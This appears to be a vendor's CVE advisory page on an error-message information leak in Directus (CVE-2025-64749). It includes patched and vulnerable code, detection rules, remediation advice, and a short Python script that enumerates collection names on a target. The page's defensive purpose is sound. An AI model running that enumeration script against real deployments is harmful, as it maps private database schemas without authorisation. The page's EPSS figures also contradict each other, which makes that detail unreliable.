☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Directus logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 🐛 CWE-203
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-64749

CVE-2025-64749 Information Disclosure in Directus
📅 PUBLISHED: 2025-11-13 21:34 UTC 🔄 UPDATED: 2026-09-23 20:35 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64749 is an information disclosure vulnerability in Directus, a real-time API and App dashboard for managing SQL database content. The vulnerability resides in the /items/{collection} REST API endpoint. Due to an observable difference in error messaging, an authenticated but unauthorized user can determine whether a specific collection exists within the database. This is a classic example of CWE-203 (Observable Discrepancy), where the application returns different error messages for "collection not found" versus "unauthorized access." While the CVSS score is low (4.3), this vulnerability can be used as an information-gathering step in a larger attack chain, allowing attackers to map out the database schema and identify potential targets for further exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Directus is a Node.js application distributed via npm. The vulnerability affects all versions prior to 11.13.0. Organizations using Directus should verify their installed version and update immediately. The fix is included in the official npm package directus@11.13.0. No known malicious packages or typosquatting attempts have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low (information disclosure)
  • Integrity Impact: None
  • Availability Impact: None

The low EPSS score (0.0%) indicates that this vulnerability is not currently being actively exploited in the wild. However, the information leakage can be leveraged in reconnaissance phases of more sophisticated attacks.

Deep Dive & Mechanics

The vulnerability is located in the /items/{collection} endpoint of the Directus REST API. When a user makes a request to this endpoint, the application performs two checks:

  1. Does the collection exist in the database?
  2. Does the user have permission to access that collection?

The flaw is that the order of these checks and the resulting error messages are different. If the collection does not exist, the API returns a message like "Collection \"nonexistent\" doesn't exist." If the collection exists but the user is unauthorized, the API returns a message like "You don't have permission to access this collection." An attacker can iterate through potential collection names and, based on the error message, determine which collections exist. This leaks the database schema to unauthorized users.

The fix in version 11.13.0 unifies the error messages, returning a generic "not found" or "access denied" message regardless of whether the collection exists or the user lacks permissions.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 11.13.0):

// Simplified example of vulnerable logic
app.get('/items/:collection', async (req, res) => {
  const collection = req.params.collection;
  const exists = await checkCollectionExists(collection);
  if (!exists) {
    return res.status(404).json({ error: `Collection "${collection}" doesn't exist.` });
  }
  const authorized = await checkAuthorization(req.user, collection);
  if (!authorized) {
    return res.status(403).json({ error: "You don't have permission to access this collection." });
  }
  // ... fetch and return data
});

Patched Code (version 11.13.0):

// Simplified example of patched logic
app.get('/items/:collection', async (req, res) => {
  const collection = req.params.collection;
  const exists = await checkCollectionExists(collection);
  const authorized = await checkAuthorization(req.user, collection);
  if (!exists || !authorized) {
    // Return a generic error message
    return res.status(404).json({ error: "Not found." });
  }
  // ... fetch and return data
});

The key change is that the patched version checks both conditions before returning an error, and uses a single, generic error message.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Enumerate existing collections in a Directus instance.

Prerequisites: Valid user credentials (any role with access to the API).

Steps:

  1. Authenticate to the Directus API and obtain a token.
  2. Use a script to send requests to /items/{collection} with different collection names.
  3. Analyze the response body to distinguish between "collection doesn't exist" and "unauthorized" errors.

Example Script (Python):

import requests

base_url = "https://target-directus.example.com"
token = "your-auth-token"
headers = {"Authorization": f"Bearer {token}"}

collections_to_test = ["users", "posts", "comments", "secret_data", "nonexistent"]

for col in collections_to_test:
    url = f"{base_url}/items/{col}"
    response = requests.get(url, headers=headers)
    if "doesn't exist" in response.text:
        print(f"[INFO] Collection '{col}' does NOT exist.")
    elif "don't have permission" in response.text:
        print(f"[VULN] Collection '{col}' EXISTS but is unauthorized.")
    else:
        print(f"[UNKNOWN] Response for '{col}': {response.status_code}")

Expected Output:

[INFO] Collection 'nonexistent' does NOT exist.
[VULN] Collection 'secret_data' EXISTS but is unauthorized.

Blue Team (Defender)

Detection: Monitor API logs for repeated 403/404 responses to /items/* endpoints from the same user. A high volume of such requests may indicate enumeration attempts.

Honeypot: Create a fake collection named admin_backup or similar. Monitor for access attempts to this collection.

Mitigation: Apply the patch immediately. If patching is not possible, implement a Web Application Firewall (WAF) rule to rate-limit requests to /items/* and return generic error messages.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /items/{collection} with varying collection names.
  • Logs: Repeated 403 (Forbidden) and 404 (Not Found) responses from the same IP/user within a short time frame.
  • Error Messages: Presence of the string "doesn't exist" in API responses (pre-patch).
  • User Agent: No specific user agent; any standard HTTP client.

Detection Engineering

YARA Rule

rule CVE_2025_64749_Directus_Info_Leak {
    meta:
        description = "Detects error messages indicative of CVE-2025-64749 in Directus logs"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-64749"
    strings:
        $msg1 = "doesn't exist" ascii wide nocase
        $msg2 = "don't have permission" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Directus Collection Enumeration Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to enumerate Directus collections via error message discrepancy
author: Valters IT
logsource:
    category: webserver
    product: directus
detection:
    selection:
        http.response.body|contains:
            - "doesn't exist"
            - "don't have permission"
    condition: selection
falsepositives:
    - Legitimate users mistyping collection names
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64749 Directus Collection Enumeration"; flow:to_server; content:"/items/"; http_uri; pcre:"/doesn't exist|don't have permission/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Action:

  • Upgrade Directus to version 11.13.0 or later.

Workaround (if patching is delayed):

  • Implement a reverse proxy or WAF rule to return a generic 404 error for all /items/* requests that result in an error.
  • Rate-limit API requests per user to slow down enumeration attempts.
  • Monitor logs for the specific error messages and alert on high frequency.

Long-term:

  • Adopt a security-by-design approach where error messages are always generic.
  • Conduct regular security audits of API endpoints.
  • Implement proper access controls and least privilege principles.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64749/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.